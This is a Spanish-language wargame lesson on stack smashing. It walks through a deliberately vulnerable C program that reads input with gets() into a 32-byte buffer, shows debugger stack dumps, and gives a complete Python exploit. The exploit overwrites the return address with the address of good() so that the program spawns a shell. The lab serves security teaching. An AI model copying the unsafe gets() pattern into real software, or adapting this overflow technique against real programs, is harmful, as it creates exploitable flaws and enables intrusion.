La Dirección de Retorno
En capitulos anteriores, mencionamos que la control flow metadata se almacena en la pila. La dirección de retorno es la pieza más interesante de metadata para nuestros propósitos, porque define directamente qué código se ejecutará después de que una función en particular termine de ejecutarse.
En este nivel, examinaremos la dirección de retorno con más detalle y combinaremos ese conocimiento con lo que aprendimos sobre la corrupción de memoria para tomar directamente el control de un binario.
Código fuente
// gcc -g -no-pie -fno-stack-protector -I ../includes -o return return.c
#include <stdio.h>
#include <stdint.h>
#include <stdlib.h>
#include <string.h>
#include <inttypes.h>
// Oculto por simplicidad
#include "wargames.h"
#include "return.h"
void good()
{
printf("Correct!\n");
system("/bin/sh");
exit(1);
}
void main()
{
init_wargame();
printf("------------------------------------------------------------\n");
printf("--[ Stack Smashing - Return Address \n");
printf("------------------------------------------------------------\n");
char buffer[32] = {};
// Leer entrada del usuario desde STDIN, en un buffer en la pila
printf("Enter data: ");
gets(buffer);
// Mostrar una visualización del marco de pila actual
visualize_stack((uint8_t *)&buffer);
// Salir del programa / retornar desde main
}
Corrupción del Flujo de Control
En el nivel anterior, aprendimos a controlar datos en la pila mediante corrupción de memoria.
Esto ya es un primitivo muy poderoso, ¡pero podemos llevarlo aún más lejos! En esta lección, usaremos este concepto para tomar control de la ejecución del programa. Para comenzar, ejecuta el binario y proporciona menos de 32 bytes de entrada.
ret2systems, inc. -- 9600 Baud TTY
$ wargames-gdb -q 03_return
Connecting to remote debugging session...
Loading binary '03_return'...
wdb> run
Started '03_return'
------------------------------------------------------------
--[ Stack Smashing - Return Address
------------------------------------------------------------
Enter data:
>> AAAAA
------------------------------------------------------------
--[ Stack Visualization
------------------------------------------------------------
Dirección | Contenido | Descripción |
---|---|---|
0x7fffffffedb0 | 41 41 41 41 41 00 00 00 |
Inicio del buffer |
0x7fffffffedb8 | 00 00 00 00 00 00 00 00 |
|
0x7fffffffedc0 | 00 00 00 00 00 00 00 00 |
|
0x7fffffffedc8 | 00 00 00 00 00 00 00 00 |
|
0x7fffffffedd0 | 00 00 00 00 00 00 00 00 |
|
0x7fffffffedd8 | 00 14 40 00 00 00 00 00 |
Valor de RBP anterior |
0x7fffffffede0 | 30 88 24 00 00 7F 00 00 |
Dirección de retorno |
Nota: La pila crece hacia direcciones más bajas (UPWARDS).
------------------------------------------------------------
==== EXECUTION FINISHED ====
wdb>
Entendiendo la Pila
La pila crece hacia direcciones de memoria más bajas. Cada vez que se llama a una función, se crea un marco de pila con:
- Variables locales: El buffer de 32 bytes.
- El valor del registro
rbp
anterior: Para restaurar el marco de la función llamadora. - La dirección de retorno: Indica dónde continuar tras el retorno.
La Dirección de Retorno
Resaltado en rojo está la dirección de retorno de main()
.
La dirección de retorno es un puntero colocado en la parte superior de la pila cada vez que se ejecuta una instrucción call
. Esta dirección apunta a la instrucción inmediatamente después de un call
.
Cuando una función termina de ejecutarse, la instrucción ret
saca la dirección de retorno de la pila y la coloca en rip
, permitiendo que la ejecución continúe como se espera.
Veamos esto en acción, coloca un punto de interrupción en la instrucción ret
en main
, luego ejecuta el binario nuevamente.
El programa está a punto de retornar desde main()
. Presta atención a la dirección de retorno mostrada en la visualización.
Avancemos esta instrucción y veamos qué sucede:
wdb> si
Nota que la dirección resaltada es la misma que la que está en la pila.
La instrucción ret
“saca” la palabra cuádruple superior de la pila y la coloca en el puntero de instrucción.
Si te preguntas por qué la dirección parece “extraña”, es porque es un puntero a libc_start_main
, la función de biblioteca responsable de inicializar y ejecutar main()
.
Libc está mapeada en una región de memoria diferente a nuestro binario por diseño, por lo que los punteros a ella “se ven diferentes” de lo que hemos visto hasta ahora.
La idea principal a la que queremos llegar es que puedes corromper la dirección de retorno de la misma manera que corrompimos las variables de la pila en la lección anterior.
Para continuar con la lección, haz que el programa falle corrompiendo la dirección de retorno.
Retorno a good()
Para finalizar el nivel, obtén la dirección de good()
del desensamblador y redirige la ejecución hacia ella.
Una vez que lo hayas hecho, deberías tener un shell. Usa el comando cat
para leer el archivo de la bandera y completar el nivel.
Explotando la Dirección de Retorno
La vulnerabilidad en gets()
permite escribir más allá de los 32 bytes del buffer, sobrescribiendo el RBP anterior y la dirección de retorno. Nuestro objetivo es sobrescribir la dirección de retorno con la dirección de good()
(0x401358
) para que ret
salte a esta función.
Pasos para la Explotación
- Calcular el offset:
- Buffer: 32 bytes.
- RBP anterior: 8 bytes.
- Total: 40 bytes para llegar a la dirección de retorno.
- Obtener la dirección de
good()
:- Usando
gdb
, determinamos quegood()
está en0x401358
.
- Usando
- Construir el payload:
- 40 bytes de relleno (por ejemplo,
A
repetidas). - 8 bytes con la dirección de
good()
en formato little-endian.
- 40 bytes de relleno (por ejemplo,
- Enviar el payload: Automatizamos con un script en Python.
import interact
import struct
# Convierte un entero en 8 bytes (little-endian)
def p64(n):
return struct.pack('Q', n)
# Convierte 8 bytes en un entero
def u64(s):
return struct.unpack('Q', s)[0]
# Inicializa la interacción con el proceso
p = interact.Process()
# Dirección de la función good()
good_addr = 0x401358
# Offset para llegar a la dirección de retorno (32 bytes buffer + 8 bytes RBP)
offset = 40
# Construye el payload: 40 bytes de relleno + dirección de good()
payload = (b'A' * offset) + p64(good_addr)
# Espera el prompt y envía el payload
p.readuntil(b'Enter data: ')
p.sendline(payload)
# Espera la visualización de la pila
p.readuntil(b'------------------------------------------------------------\n')
# Cambia a modo interactivo para usar la shell
p.interactive()
Explicación del Script
p64(n)
: Convierte la dirección degood()
(0x401358
) en 8 bytes little-endian.offset = 40
: Relleno para alcanzar la dirección de retorno.payload
: 40 bytes deA
+ dirección degood()
.p.readuntil()
: Sincroniza con el prompt del programa.p.interactive()
: Permite interactuar con la shell.
Efecto del Exploit en la Pila
Tras enviar el payload, la pila se verá así:
Dirección | Contenido | Descripción |
---|---|---|
0x7fffffffedb0 | 41 41 41 41 41 ... |
Inicio del buffer (AAAA…) |
… | 41 41 41 41 41 ... |
Resto del buffer |
0x7fffffffedd8 | 41 41 41 41 41 41 41 41 |
RBP anterior (sobrescrito) |
0x7fffffffede0 | 58 13 40 00 00 00 00 00 |
Dirección de good() |
Al ejecutar ret
, rip
se carga con 0x401358
, ejecutando good()
y abriendo una shell.